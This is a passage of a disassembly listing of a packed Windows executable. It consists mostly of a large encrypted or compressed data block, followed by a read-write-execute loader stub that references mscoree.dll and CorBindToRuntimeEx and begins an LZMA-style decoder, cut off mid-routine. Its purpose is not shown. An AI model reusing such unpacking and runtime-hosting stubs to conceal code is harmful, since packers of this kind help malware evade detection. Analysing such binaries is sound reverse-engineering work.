		dd 9062B07h, 48642FD5h,	9E6949F3h, 0F0FDEA04h, 0BD882FE7h
		dd 13D07C6Ch, 0DC6A7A50h, 0F80938EAh, 5749D8AAh, 9546A6FFh
		dd 8847F9F2h, 0E33CCF93h, 0F025DB1Eh, 0FEDBCC2Ah, 0BA2F1C6h
		dd 0FB35A39Ch, 3E24CF74h, 60C73D19h, 58C1B2DCh,	10713285h
		dd 3D8FF7E1h, 0BEA4051h, 0E4ECD8h, 15C74B13h, 0E18FF896h
		dd 2D413BA3h, 0D6350CFh, 0EAD4E344h, 0F4611865h, 0B06AA632h
		dd 0C9B8D913h, 0C7BFDDAFh, 0CFF86383h, 5A620BF1h, 49A2B3D3h
		dd 11CBDD6Dh, 0BC6FAA91h, 47A46355h, 7E6B2027h,	69A1BF98h
		dd 7B055EC9h, 0C66EBEE1h, 900E9644h, 5325F76Fh,	76BDBBF6h
		dd 0AAA66F5Ch, 12FEA324h, 0A3F2DE5Bh, 0A74332F8h, 0FDD8619Ch
		dd 78244096h, 0E4B8504Eh, 0D84EA1ACh, 7E74F194h, 0BBFBE8CEh
		dd 0A2EB44F0h, 0E6332536h, 3CB8DF8Ah, 9D66594Fh, 7514C2D3h
		dd 70D3036Ah, 0C21905E3h, 0C612AC56h, 89F004D7h, 51EE52ADh
		dd 0E025EDB8h, 3ADCB410h, 371F76AEh, 308C043Bh,	0FBBD205Dh
		dd 0C6F768E1h, 0FE5EBF5Dh, 1DA272AAh, 101CA40Dh, 9387A526h
		dd 90B547B8h, 59F69912h, 8415E2C2h, 1773B913h, 8E1B1A83h
		dd 0BF5C271Fh, 96AE0B51h, 4348E114h, 0C7B2B173h, 1A3CAE13h
		dd 3C215D7Bh, 0C83E37B9h, 290F5DB2h, 469997B4h,	72E95FD9h
		dd 64B50614h, 0DF587C7Dh, 80B9F80Dh, 3EE9E221h,	343E7AE8h
		dd 56451DCEh, 598D7BA4h, 2A2D4A6Eh, 188167D1h, 2508829Dh
		dd 0D38309F6h, 0F41D9CACh, 16F73D9Ah, 11BDB617h, 0C6EED92Ah
		dd 0FC3BAAECh, 7D24FA8Eh, 254E8482h, 1389D243h,	0D159DA1Eh
		dd 0E21EA66Ch, 71F9214Fh, 7A660970h, 5DE96174h,	7FA80382h
		dd 0D9DA86D3h, 76143B2Eh, 2D8CA490h, 0CAD5B07Bh, 23263E19h
		dd 3C27DB95h, 1673B803h, 0A5847832h, 0B2EB1279h, 51C79C8Bh
		dd 3408A47Dh, 2E8D717Eh, 0BAE8B180h, 547EE74Ch,	0FAB2360Dh
		dd 0C620364Eh, 0DBD4B9D7h, 0D134E8F1h, 1174F12Dh, 447C7814h
		dd 17F2598Eh, 4976CD7Fh, 2668864Ch, 82A3CC3Ch, 0ECD497ABh
		dd 4A110CF8h, 0B6A2DA6Ah, 0F70A6BD8h, 7ABFF2FBh, 0E2AA6B56h
		dd 0F04F5EEBh, 0FC3B39CBh, 7BECA4F5h, 8351D337h, 5F50E9A0h
		dd 40FA8702h, 4F95BCFh,	9060766Bh, 0AAE5C16h, 623D214Ch
		dd 15F9903Bh, 1C7F638Ch, 0F6B46743h, 23EE45B8h,	9730B17Eh
		dd 0AF1649A5h, 0C57896CFh, 7937E3C5h, 2AB8F59Fh, 8230615Bh
		dd 0CB394349h, 6D289649h, 0E27DCB72h, 0F7FAF360h, 7C7C1BDCh
		dd 0FED4824Ch, 8A15ADF4h, 395ED704h, 216D7289h,	70370069h
		dd 6F9D5DFh, 42909513h,	0D94FF518h, 1813D4A4h, 882542FCh
		dd 0EFB5DDA6h, 47246F54h, 0EDEF9C38h, 4439752h,	9D4B736Ch
		dd 949FFFA0h, 17767D0Eh, 0C609AA8Fh, 47270048h,	8A6F1839h
		dd 0B5248FA8h, 0B4769776h, 5B00A9BFh, 2E4A21B3h, 0D6F41255h
		dd 9ED60C2Ah, 0D7399448h, 78E8D27Eh, 87FB133Eh,	0CB1F0214h
		dd 0EED222E6h, 150CB1C1h, 4E5DB9E8h, 0C7E0B9CBh, 373D319Dh
		dd 87853A7Eh, 68626C58h, 0C2F03855h, 955448B2h,	0FB09A5AFh
		dd 0C666B389h, 47A7DEDEh, 0E27753D0h, 0CE095649h, 0F1EEC03h
		dd 0CA29FF63h, 0D3C60216h, 1A1847E8h, 0B7FBBF3Fh, 5B76AFDFh
		dd 0A42925B0h, 4DDC73EFh, 1884F27Bh, 0DA9D424Bh, 2A351085h
		dd 35836A7h, 0E4E9ED11h, 0AB5A3441h, 1E51C43Ah,	4FB03520h
		dd 95C61496h, 0F364730Ah, 783D8872h, 6B806CD7h,	1BFB7E9Ah
		dd 5F4AAFFh, 0D531F8C7h, 902A4ABBh, 0C5CEE254h,	87E968Dh
		dd 84C0A4F5h, 1307C38Eh, 0CAABD729h, 0E621906h,	75F52270h
		dd 5BBC1996h, 68568811h, 0C43DF639h, 9605C964h,	6BE30F6h
		dd 0AE58E66Dh, 0E3AC258Ch, 7CAACFE7h, 234C117Bh, 444C02B2h
		dd 0A0AD98DFh, 0A88F1BFDh, 8C226AB8h, 0E21616E2h, 44FD3A3Eh
		dd 7299D2A6h, 4ED49149h, 6BAE5458h, 4DC5EB42h, 0DBBF410Bh
		dd 0BB91797Eh, 1E000D55h, 0ED32AB1h, 0C1EF823Eh, 0BDB29FA7h
		dd 0CF1D229Dh, 70CDF601h, 0A26C6847h, 41482132h, 294AF12Ch
		dd 0BDF214DAh, 0F0C307F4h, 6AFD36DDh, 0FB064D97h, 0F45CE9D3h
		dd 3CDBF806h, 4B7CAFD1h, 491DE2DCh, 0EC31FA1Dh,	0BB4921D3h
		dd 0E87AE30Ah, 0F165AAF8h, 0E6B0B3Dh, 61237981h, 2EDA2853h
		dd 34113121h, 5DAEB797h, 0FA0558E4h, 18E55AB9h,	6269DADEh
		dd 0E008D5DEh, 0F15F898Dh, 496E69F0h, 2BA3D274h, 0FECD2F41h
		dd 6502690Eh, 9DA6900Fh, 0C7DDB899h, 0A2C0EE8Ah, 0F499B91Ah
		dd 0EAA9149Fh, 81E37B5Fh, 5B322AA8h, 0A41D04B0h, 49E17870h
		dd 0FABDD828h, 692834D3h, 0A451B16Eh, 0C14E4CD5h, 493343Bh
		dd 4C84964Ch, 0F76C02D5h, 23EA13B6h, 0B5CAA28Dh, 2CC7A547h
		dd 0A06A275Ch, 0ED488AF8h, 0C355D515h, 928A9E5Fh, 0B624862Dh
		dd 55688AB0h, 6D7FA9D7h, 0F353DB7Ch, 9D1179Ch, 0FBB244A3h
		dd 0F29680FFh, 0BBAF6915h, 1A84F83Ch, 4F24DECDh, 65D63BE1h
		dd 8D04BC6Dh, 3C64B7EEh, 81212CDCh, 7BF7E02Bh, 0C544F9F7h
		dd 171C03B6h, 18FD635h,	80BA1CD0h, 5C80434Bh, 0CA9BA97Bh
		dd 86B4AF32h, 0ED31EF67h, 0F0EDBC31h, 0B1275EFh, 0C7388B83h
		dd 40CAAB28h, 13D3F165h, 0F6D8BDA8h, 775C876h, 8110DD4h
		dd 2680CA99h, 19F55E68h, 6E58CE55h, 0EFF35666h,	0D49551A7h
		dd 768899D1h, 2A045694h, 0C20A3CAFh, 0F29DB293h, 0BD09B280h
		dd 13739238h, 0FD0BEEF5h, 0C10A712Ch, 416B0D5Fh, 0C88E1A69h
		dd 30694B46h, 18E3AEB6h, 0B48B1270h, 8CAB554Fh,	78D29F8Eh
		dd 616AAD8Ch, 72726AD7h, 234505FDh, 503D57A6h, 9FF61FAEh
		dd 0DBAD2497h, 97F6CCC1h, 41AB7687h, 9D70EC6Ch,	394DB49Fh
		dd 8C2FEE67h, 0B3E06592h, 0A1C539DCh, 551194ADh, 2CAAD12Eh
		dd 4F6F7BC1h, 0E3A6DAFCh, 0CC5BCA2Eh, 0A86D4240h, 3B28604Dh
		dd 790F4E76h, 0A726347Bh, 0B6082BBh, 508444DEh,	7730E664h
		dd 0DF689D47h, 0D8B4AB71h, 633CD57Bh, 0AFC5B9D3h, 0F85678A1h
		dd 0C6902D69h, 57C7170Ah, 368F628Ah, 474D9973h,	0F4937001h
		dd 369E307Dh, 0EF5D0D56h, 493BBAEFh, 0B81CD3BFh, 712BD81Ah
		dd 1150F80Fh, 0DDE2009Dh, 0E0327EC3h, 4CEFFE8Fh, 21046F6Dh
		dd 37C012CFh, 0CFBBA483h, 12556CB7h, 0EFA0B641h, 6BDDBC6Dh
		dd 9244DB26h, 13593715h, 4FDF7CC3h, 6F5EE2B2h, 0DD8ECC19h
		dd 69958C52h, 0EC9962F0h, 0B0BC8FECh, 767EE849h, 89FB1469h
		dd 343B7B8Eh, 0AFD8D732h, 91844DE9h, 0C391B31Ah, 0DE2FE470h
		dd 26B7A673h, 0B4CDF594h, 0A147FC2h, 0C044AB65h, 0E8B9AB48h
		dd 6012E879h, 5462AD4Dh
		dd 290E0FBFh, 444CE601h, 0CE0517CEh, 0E2E36E53h, 0E3817066h
		dd 7EEC59D2h, 8C3AD774h, 7D6877B6h, 0E0C24D31h,	0F5C9691Fh
		dd 0D230A068h, 0A93B4857h, 7BDBE769h, 91002341h, 3CF7BC61h
		dd 65CE58A6h, 5D944371h, 60DA2C5Ch, 0D9576779h,	0AA3290E1h
		dd 1216AB61h, 82821FDBh, 0EE7D288Bh, 355AFA99h,	601485ADh
		dd 7CFD8B5Ch, 20E4B871h, 0BCE261CCh, 0C2E5CE3Dh, 0F0C5EDB6h
		dd 0D7C65284h, 0AD7BADB2h, 972AC29Dh, 0EB4533E8h, 3BDDE41Fh
		dd 0C3C80475h, 8EBEABF2h, 0C4E511F9h, 0D0AD0D5Ah, 17B972DFh
		dd 0DDD5A8DEh, 0DDCB7B98h, 8B5F057Fh, 0A0E55E81h, 96BB2BDCh
		dd 545822B8h, 0A59A1678h, 0AA5998CBh, 3269FDD2h, 0F049EB46h
		dd 0D49B4212h, 31D9BA45h, 0FF490B74h, 0C57DD37Bh, 385934EAh
		dd 274B8F8Dh, 4C1A962Bh, 719F6D97h, 0AA7F6075h,	0BD8DC489h
		dd 9B32EB5Dh, 0F959D79h, 0A231534Dh, 0E88A487Eh, 1ADD6096h
		dd 1BEF83EAh, 6D1F0672h, 291845B9h, 0D422E462h,	0B8517DFFh
		dd 0AD3BE229h, 0CF719F95h, 1025054Bh, 0EA4075D7h, 6E8A2ED1h
		dd 5FAB2245h, 0FB4BB10Fh, 0DE62D4A4h, 34C2CA43h, 546E6F4Ch
		dd 0A3902654h, 99C73D58h, 0B485D0DAh, 70D3E512h, 0F95075AFh
		dd 7704CD14h, 0D9B96C4Ah, 910419D2h, 0CB61D919h, 8157F924h
		dd 35CD7271h, 0CD60B367h, 0A193618Fh, 91C620B5h, 0CD4CDA0Bh
		dd 0F9433712h, 9D57062Dh, 6DF37F87h, 0CE723B87h, 727F3C9Eh
		dd 282B8C73h, 0A6643C6Dh, 4BDE7C12h, 2D2924C1h,	6A89115Fh
		dd 0EDD8671Fh, 1340ACF3h, 66550D21h, 0C09BE959h, 0D257CC95h
		dd 0E42F3F51h, 5ECB61Dh, 0F88841E7h, 6D8C97ACh,	2A08A1C0h
		dd 6A14DDEEh, 6B20B675h, 47C6F854h, 6B0B7EDDh, 21CA3B63h
		dd 0A81EF601h, 0A6432784h, 280B3385h, 538099D8h, 4A8DE10Ah
		dd 0C5AC4563h, 54240A84h, 0B20C83C2h, 0E521706Fh, 0F9C586D0h
		dd 47FB412Ah, 0FD9010FBh, 0E88F112Ah, 887D9649h, 5AF963E7h
		dd 85FAD0CAh, 0F8536041h, 0DB7DFF2Ah, 36B5E217h, 0F3273D73h
		dd 0D91E0DBDh, 39F7EA87h, 0E39C71CDh, 406E2DC5h, 1000519Fh
		dd 0C969FB37h, 0BD81730Fh, 0EB50825Fh, 1D7A70D6h, 8F41187Bh
		dd 4021E0CAh, 1668E6A0h, 9A6EC853h, 0ECC1C19Ch,	242275D8h
		dd 0C2231AE2h, 0FB686668h, 178A94FDh, 91A0897h,	342489C1h
		dd 21021AD6h, 7958EB9Eh, 0C58D1687h, 34A31D5Bh,	2C7531DCh
		dd 0C660B5E7h, 0EAB2EC51h, 840FE628h, 2041C84h,	36193807h
		dd 6CE00475h, 0D6044364h, 0B2A80EEBh, 304A2EBCh, 4ABADC59h
		dd 76216461h, 7CAFEEEBh, 0FD368E8Ch, 7C3B4F4Ch,	2EFD18F4h
		dd 1B08B611h, 0E8CC7EC7h, 0D29CAE1Ah, 438BAFB8h, 459DCDF8h
		dd 96B19A82h, 0FF496F94h, 9693A617h, 23B7CA53h,	0A9F843h
		dd 0DDF9BF2Eh, 3CEEFAD9h, 0D54CAACBh, 8DEFF242h, 0E082E882h
		dd 0D7123F0Dh, 0E0C99AEFh, 0F44E142Eh, 30B4C0F6h, 0B0C14B82h
		dd 0B7EF98B2h, 6E347D61h, 0C617FF07h, 748F30D3h, 79699F1Eh
		dd 8FFCAA91h, 1F9AAF5Fh, 0AA1B7973h, 0C902854Dh, 66DBFBDBh
		dd 0E2AEF1B1h, 71D1D851h, 3D50A30Ch, 9D5F68C8h,	0CC0B4810h
		dd 35A469BCh, 6C0CC0Bh,	0B538AB8Ah, 0BE2669CAh,	0AFE40167h
		dd 0D4BAC9E1h, 2451D40Ah, 270610AAh, 0F030EF01h, 10C98E01h
		dd 0A05FDC47h, 0E85E3121h, 0D94458A3h, 0A9B2DD72h, 739534B6h
		dd 48E6A027h, 336A9720h, 1032BBC0h, 0B50BBEFCh,	250FCAD5h
		dd 0CA41DBE7h, 9481EDF9h, 3A9CBAB3h, 361EBD1Bh,	6C1554DFh
		dd 0DDEF44DAh, 8EC75660h, 0BF64EA35h, 96CDBC64h, 926217C6h
		dd 74D55256h, 3C7CCCC5h, 0FF8A8EB8h, 52EECC2Bh,	0E945B710h
		dd 0AB3EC620h, 0DECE70B8h, 2259D707h, 6EE8604Ah, 0B75BDC65h
		dd 33D90EAEh, 81C45FB1h, 0E7CF464Ch, 99D2ADA6h,	34D4A148h
		dd 15261F13h, 0BD9CC27Ah, 0DCCE4E84h, 3FA34210h, 8D8BCF29h
		dd 8724970Dh, 0BEBC8757h, 6CB94B9Eh, 0F41D5BC5h, 0F9B6686Ch
		dd 8A51EDC7h, 5184B49Ch, 0A0910C42h, 0D6EA7B71h, 9CC0C853h
		dd 0D8629839h, 7768FD05h, 0A29411A9h, 0E2D1725Bh, 8633734Eh
		dd 0A40F2385h, 0B189C79Fh, 96805B80h, 7E6728Ah,	528A4BF5h
		dd 48A007E0h, 93EB74E5h, 58E3BB5Fh, 0D680FD0Ah,	0C4804AE6h
		dd 0F2A48D7Fh, 9A3F0CF7h, 9FE4B2AFh, 47B52D79h,	1582A4F9h
		dd 58DF7869h, 0B180C439h, 0B91620Dh, 1D5BFD02h,	14E4A1C8h
		dd 0D61118B5h, 7E8FED8Ah, 0E80FA9D1h, 0D151F53h, 2B9E3168h
		dd 78283518h, 260FF683h, 9FE768AAh, 9C49A2BBh, 5C84EF38h
		dd 1F28106Ah, 9D798E39h, 47380651h, 0E17F66AAh,	2C208498h
		dd 0A72504A7h, 9D486228h, 0D32FFA7Eh, 1A989CEh,	0FC8A708Ch
		dd 7C5A34h, 0FCC116FDh,	0D73AFE0Eh, 7726EA6Eh, 0BF7AD651h
		dd 0F238ED2Dh, 6533A802h, 4923D9F0h, 0CA6D4652h, 0A22F3E30h
		dd 803B2DB6h, 5922212Eh, 0B9BFFE84h, 2AE5036Bh,	0E553CC4h
		dd 91E828FBh, 0AD771AFDh, 0E1312172h, 0BE64CAAFh, 8CF6B3CCh
		dd 0E95CF661h, 0AC11A921h, 7FFFF159h, 91BC98CFh, 0BD46C681h
		dd 0F2C890F6h, 6A22BBE6h, 0C8F1C451h, 2CEF8038h, 929B2EDDh
		dd 1EFF7260h, 0B3ABE848h, 365EA980h, 0AAEF7B2Fh, 63D187B2h
		dd 0AEA2DC15h, 0F3F8094Ah, 44CBFD94h, 0DFCD8769h, 0A39E1280h
		dd 444878D9h, 0F89E9019h, 0C7AE7DBh, 0E7AA1E96h, 97E59D8Ch
		dd 544E7168h, 86F7060Dh, 817CD942h, 0E8B4BDEDh,	6CA68123h
		dd 0F12D21Dh, 0BA0A6E08h, 5C8643C9h, 0FDDC9390h, 18FDFB42h
		dd 55369700h, 0AEA0E52Fh, 0B45D7997h, 93DEE669h, 86C4A45Eh
		dd 0BCBD65DFh, 31335E4Fh, 700F8166h, 6C2FCD38h,	0B024146Bh
		dd 2FFEF51Ah, 0E7E4A16Bh, 6AC46D39h, 8F89F5F3h,	8C6744B1h
		dd 0DF5E454Fh, 0AFCD2368h, 1DB8E2D6h, 0A3D3D3C2h, 0E3379CC9h
		dd 0DD40AC2Bh, 0D1E58284h, 8EE93CD7h, 0A5EA7784h, 7CFF1CECh
		dd 5C56476Bh, 0CE9EDB8Dh, 0F190D9F6h, 0AA73D3E2h, 4A4ABB5Dh
		dd 6CF17189h, 234C93D0h, 5FAF4EAAh, 8E4AFDEBh, 9003A2A8h
		dd 0BED127D5h, 0F172DBAh, 5F4FCE86h, 0DCC489A0h, 7776BD51h
		dd 658DEAD3h, 0BBD0342Ah, 0A5FACFA2h, 8F30C2A4h, 0C77C051Bh
		dd 680A22B7h, 4DA3CEFFh, 2D2C6DF8h, 6419EA6Bh, 560A75BAh
		dd 7360116Ah, 0C81E9C20h, 471026CAh, 9E68EC9Eh,	0B0F0BED1h
		dd 0EC5DBDA3h, 0D462B89Ah, 0B7DE3B05h, 0F4E3FA59h, 819D8369h
		dd 2217605Bh, 0C697F3Fh, 0EE78E1E7h, 180E83F4h,	9022B988h
		dd 20E46E16h, 0C401ACF1h, 0F90623F2h, 0DB085D98h, 85EF7561h
		dd 0DA783AE7h, 0E0CF01B3h, 8D043928h, 1F480F2Ah, 0E8DDDB1Fh
		dd 3D7F9E78h, 3AF734Bh,	5BB5E5B6h, 1A360324h, 0C158115Eh
		dd 0D5BDBD4Dh, 0AE89D882h, 488F6CE5h, 2CA2FD19h, 9CF11489h
		dd 0F188F891h, 690F036Ch, 5E9C78F1h, 18025AF8h,	67B0FCE4h
		dd 6E3E17F2h, 3CF1393Ah, 0E464E96Eh, 0E9245F8Eh, 1D88C3EDh
		dd 0B23BB206h, 7B7C7AE8h, 0F54BBB30h, 602350Ch,	2FF9DA1Fh
		dd 6A587A68h, 77BBBE2Bh, 45622E40h, 8D09AB98h, 2400EE12h
		dd 684ACD91h, 40A4FD77h, 6F109D0Fh, 5C1A79F8h, 1C913C59h
		dd 0C44E37A8h, 41E329A0h, 13B33A50h, 9258BAEAh,	9BD1B94Dh
		dd 0C5BC7C53h, 1D692E66h, 866D104h, 4B62C8C7h, 0BE8C208h
		dd 0EC9FCA0Ah, 87F0FC51h, 1FDBEB51h, 0B1D6FF85h, 0FECE8B41h
		dd 25AA1CECh, 0F85787C2h, 565D2F83h, 963CDFEAh,	2CC51F5Dh
		dd 269418ECh, 0CDC9A29Dh, 0C7282DDBh, 0D969D19Fh, 3CEB9223h
		dd 34E472FFh, 6AE72EE5h
		dd 14641E86h, 5A0EEC8Dh, 7B2434E0h, 0CF9818AAh,	1BDBDA33h
		dd 0A478BCB4h, 2D37F773h, 402987C0h, 0F60738EFh, 37FCA815h
		dd 0B08AC2E4h, 39202A93h, 9BFFB1B1h, 3F489689h,	924CC253h
		dd 8517B89Eh, 0D9E5A4F9h, 6D10D444h, 5FD12357h,	82374FB8h
		dd 9BDAEA19h, 0BC2D71BDh, 1206B43Fh, 63E9E030h,	85B7D142h
		dd 0EBFF1E2Bh, 0DB9F5EBBh, 7EC0635Fh, 66247D99h, 9CAB5DE6h
		dd 0A217DD51h, 6FF863BDh, 0C6422D4Bh, 0E71ECD15h, 0B239B414h
		dd 2D48E541h, 0A0911514h, 1ADCDCAEh, 40CACCCAh,	93F939B8h
		dd 3615BC67h, 5DE47372h, 3E77194Ah, 2D3E1F3Eh, 2C17B25Fh
		dd 0E05C108Eh, 1CDB79E4h, 8DE4C988h, 1948A3FDh,	7673F4D7h
		dd 1E1B040Bh, 0F8F3F570h, 7AE8A6F3h, 2AC3BD1Dh,	0B608D606h
		dd 50D5AC81h, 41FB380Fh, 1BA344CCh, 872A4E55h, 0BFDECEF0h
		dd 6DBF9425h, 4CA2E810h, 56ECF088h, 6CB6B5DEh, 0A631A8C9h
		dd 979B6512h, 58AB3F2h,	42855341h, 7538FBFCh, 3C9B4715h
		dd 0CAA357A6h, 7BC5934Dh, 9EE3218h, 2B7E7DA1h, 0A9F2FE86h
		dd 71621D26h, 0C0822764h, 9AE0AA21h, 0D5493850h, 251D4F23h
		dd 0F698AF76h, 0E63CDF22h, 0A6E8D0FEh, 8AA769E0h, 0B13881E0h
		dd 4635CE64h, 0C3EFE518h, 3BF39763h, 0B80B778Fh, 1D5FE199h
		dd 0D97C1CFEh, 0BC98DE0Fh, 26186954h, 0E34E731Eh, 0DA95499Ch
		dd 3614F2AAh, 0B979D790h, 0D49EAC2Fh, 959EC88Eh, 952A42B7h
		dd 8B2DCEFh, 14491CCBh,	70CE4919h, 294909EBh, 4A2DCE9Ah
		dd 2BFE78DBh, 545C8F8Dh, 2BDD4DF8h, 52CB091Dh, 811E6C98h
		dd 0C73E6553h, 0D4AF9B94h, 3BFFED9Dh, 0F3470001h, 0AAF171BFh
		dd 0F90DC0C9h, 0A03F5987h, 9821159h, 686C20DCh,	642A9B5Eh
		dd 69F500EBh, 77456AACh, 71CCC3CCh, 688E6022h, 0C00C6507h
		dd 3F779F3Eh, 0BB2ABDB2h, 1A605CBAh, 188E4D5Eh,	0D4554F9Ah
		dd 81E723C9h, 2A78BAFh,	6470AE33h, 44E3AB8Bh, 0B32CDBB3h
		dd 0C1A73128h, 12628AA4h, 0EED7693Ch, 82453561h, 0C8895B36h
		dd 31DC5960h, 0FF76B9BCh, 0CBE601A7h, 198C9232h, 46FDFF71h
		db 0E4h, 24h
_pdata		ends

; Section 3. (virtual address 00037000)
; Virtual size			: 000017EC (   6124.)
; Section size in file		: 000017EC (   6124.)
; Offset to raw	data for section: 00037000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_ex_cod		segment	para public 'CODE' use32
		assume cs:_ex_cod
		;org 437000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_437000	dd 16FCh		; DATA XREF: start:loc_437A55r
					; start+21o
		dd offset sub_438237
		dd 0
dword_43700C	dd 0			; DATA XREF: sub_438237+3r
					; sub_43828D+7w
dword_437010	dd 0			; DATA XREF: sub_438237+32w
					; sub_43828Dr
dword_437014	dd 0			; DATA XREF: sub_438237+3Cw
					; sub_43828D+1Fr
dword_437018	dd 0			; DATA XREF: sub_438237+44w
					; sub_43828D+19r
dword_43701C	dd 0			; DATA XREF: sub_438237+4Cw
					; sub_43828D+13r
dword_437020	dd 0			; DATA XREF: start+116r
off_437024	dd offset dword_4386FC	; DATA XREF: start+26w	start+2Br ...
dword_437028	dd 400000h		; DATA XREF: start+38w	start+4Cr ...
dword_43702C	dd 1			; DATA XREF: start+3Er
					; start:loc_437A96w
		dd 2 dup(0)
aUnexpectedRelo	db 'Unexpected relocation type: *pw = 0x%04x  *pdw = 0x%08x',0
					; DATA XREF: start+734o
aErrorBadReloca	db 'Error bad relocation pointer: *pdw = 0x%08x',0 ; DATA XREF: start+6E4o
aTheHsFileIsL_0	db 'The %hs file is ',0Ah ; DATA XREF: start+595o
		db 'linked to missing export %hs:%hs.',0
		align 10h
aTheHsFileIsLin	db 'The %hs file is ',0Ah ; DATA XREF: start+576o
		db 'linked to missing export %hs:0x%04x.',0
		align 4
aARequired_dllF	db 'A required .DLL file, %hs, was not found.',0 ; DATA XREF: start+48Bo
		align 4
aErrorAllocatin	db 'Error allocating memory!',0 ; DATA XREF: start+200o
		align 10h
dword_437150	dd 5F696DCh, 36632B29h,	38C48BADh, 13A7F29Ch ; DATA XREF: sub_4382B8+131o
aWks:					; DATA XREF: sub_4382B8+F1o
		unicode	0, <wks>,0
aOleaut32_dll	db 'oleaut32.dll',0     ; DATA XREF: sub_4382B8+57o
		align 4
aCorbindtorunti	db 'CorBindToRuntimeEx',0 ; DATA XREF: sub_4382B8+4Fo
		align 4
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: sub_4382B8+45o
aCouninitialize	db 'CoUninitialize',0   ; DATA XREF: sub_4382B8+38o
		align 4
aCoinitialize	db 'CoInitialize',0     ; DATA XREF: sub_4382B8+2Do
		align 4
aOle32_dll	db 'ole32.dll',0        ; DATA XREF: sub_4382B8+11o
		align 4
		dd 37200h, 2 dup(0)
		dd 37304h, 37234h, 37228h, 2 dup(0)
		dd 3732Ch, 3725Ch, 5 dup(0)
		dd 37268h, 37276h, 37286h, 37298h, 372AAh, 372BEh, 372D0h
		dd 372DEh, 372F4h, 0
		dd 37312h, 3731Eh, 0
dword_437234	dd 77E79E34h		; DATA XREF: sub_437960+ADr start+2E0r ...
dword_437238	dd 77E7980Ah		; DATA XREF: sub_437960+65r start+75r	...
dword_43723C	dd 77E7A5FDh		; DATA XREF: start+523r start+545r ...
dword_437240	dd 77E805B8h		; DATA XREF: start+43Br start+479r
dword_437244	dd 77E79F93h		; DATA XREF: start+425r
dword_437248	dd 77E6169Ah		; DATA XREF: start+40Dr start+5C9r ...
dword_43724C	dd 77E75CB5h		; DATA XREF: start+20Fr start+4AEr ...
dword_437250	dd 77E7A099h		; DATA XREF: start+AAr
dword_437254	dd 77E805D8h		; DATA XREF: sub_4382B8+9r
		dd 0
dword_43725C	dd 77D4C96Ah		; DATA XREF: start+493r start+57Er ...
dword_437260	dd 77D6ADD7h		; DATA XREF: start+207r start+4A6r ...
		align 8
		dd 69560378h, 61757472h, 6572466Ch, 3750065h, 74726956h
		dd 416C6175h, 636F6C6Ch, 1980000h, 50746547h, 41636F72h
		dd 65726464h, 7373h, 6F4C0249h,	694C6461h, 72617262h, 41784579h
		dd 1770000h, 4D746547h,	6C75646Fh, 6E614865h, 41656C64h
		dd 37B0000h, 74726956h,	506C6175h, 65746F72h, 7463h, 784500AFh
		dd 72507469h, 7365636Fh, 1750073h
aGetmodulefil_0	db 'GetModuleFileNameA',0
		align 4
		dd 6F4C0248h, 694C6461h, 72617262h, 4179h, 4E52454Bh, 32334C45h
		dd 6C6C642Eh, 2D50000h,	72707377h, 66746E69h, 1DE0041h
		dd 7373654Dh, 42656761h, 41786Fh, 52455355h, 642E3233h
		dd 6C6Ch
; ---------------------------------------------------------------------------

loc_437338:				; DATA XREF: sub_4382B8+E5o
		and	ah, [edi+2Fh]
		retf
; ---------------------------------------------------------------------------
		cmp	ch, [ebx+409C11D2h]
		add	al, al
		dec	edi
		mov	ds:67233E0Ah, eax ; DATA XREF: sub_4382B8+EAo
		das
		retf
; ---------------------------------------------------------------------------
		dd 11D2AB3Ah, 0C000409Ch, 3E0AA34Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437358	proc near		; CODE XREF: sub_4375EB+309p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		push	esi
		xor	eax, eax
		mov	esi, [ecx+8]
		push	edi
		mov	edi, [ecx+0Ch]
		test	edx, edx
		jle	short loc_4373B0
		push	ebx
		mov	[ebp+arg_0], edx

loc_437373:				; CODE XREF: sub_437358+55j
		shr	esi, 1
		shl	eax, 1
		cmp	edi, esi
		jb	short loc_43737F
		sub	edi, esi
		or	al, 1

loc_43737F:				; CODE XREF: sub_437358+21j
		cmp	esi, 1000000h
		jnb	short loc_4373AA
		mov	edx, [ecx]
		shl	esi, 8
		cmp	edx, [ecx+4]
		jnz	short loc_43739D
		mov	dword ptr [ecx+10h], 1
		or	bl, 0FFh
		jmp	short loc_4373A2
; ---------------------------------------------------------------------------

loc_43739D:				; CODE XREF: sub_437358+37j
		mov	bl, [edx]
		inc	edx
		mov	[ecx], edx

loc_4373A2:				; CODE XREF: sub_437358+43j
		movzx	edx, bl
		shl	edi, 8
		or	edi, edx

loc_4373AA:				; CODE XREF: sub_437358+2Dj
		dec	[ebp+arg_0]
		jnz	short loc_437373
		pop	ebx

loc_4373B0:				; CODE XREF: sub_437358+15j
		mov	[ecx+0Ch], edi
		mov	[ecx+8], esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_437358	endp


; =============== S U B	R O U T	I N E =======================================



sub_4373BA	proc near		; CODE XREF: sub_43747F+1Dp
					; sub_4374B6+1Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	eax, [ecx+8]
		movzx	esi, word ptr [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, esi
		mov	esi, [ecx+0Ch]
		cmp	esi, edi
		jnb	short loc_43742B
		mov	[ecx+8], edi
		mov	ax, [edx]
		movzx	esi, ax
		mov	edi, 800h
		sub	edi, esi
		sar	edi, 5
		add	edi, eax
		mov	[edx], di
		mov	eax, [ecx+8]
		cmp	eax, 1000000h
		jnb	short loc_437427
		mov	esi, [ecx]
		cmp	esi, [ecx+4]
		jnz	short loc_43740E
		mov	dword ptr [ecx+10h], 1
		or	dl, 0FFh
		jmp	short loc_437413
; ---------------------------------------------------------------------------

loc_43740E:				; CODE XREF: sub_4373BA+46j
		mov	dl, [esi]
		inc	esi
		mov	[ecx], esi

loc_437413:				; CODE XREF: sub_4373BA+52j
		mov	esi, [ecx+0Ch]
		movzx	edx, dl
		shl	esi, 8
		or	esi, edx
		shl	eax, 8
		mov	[ecx+0Ch], esi
		mov	[ecx+8], eax

loc_437427:				; CODE XREF: sub_4373BA+3Fj
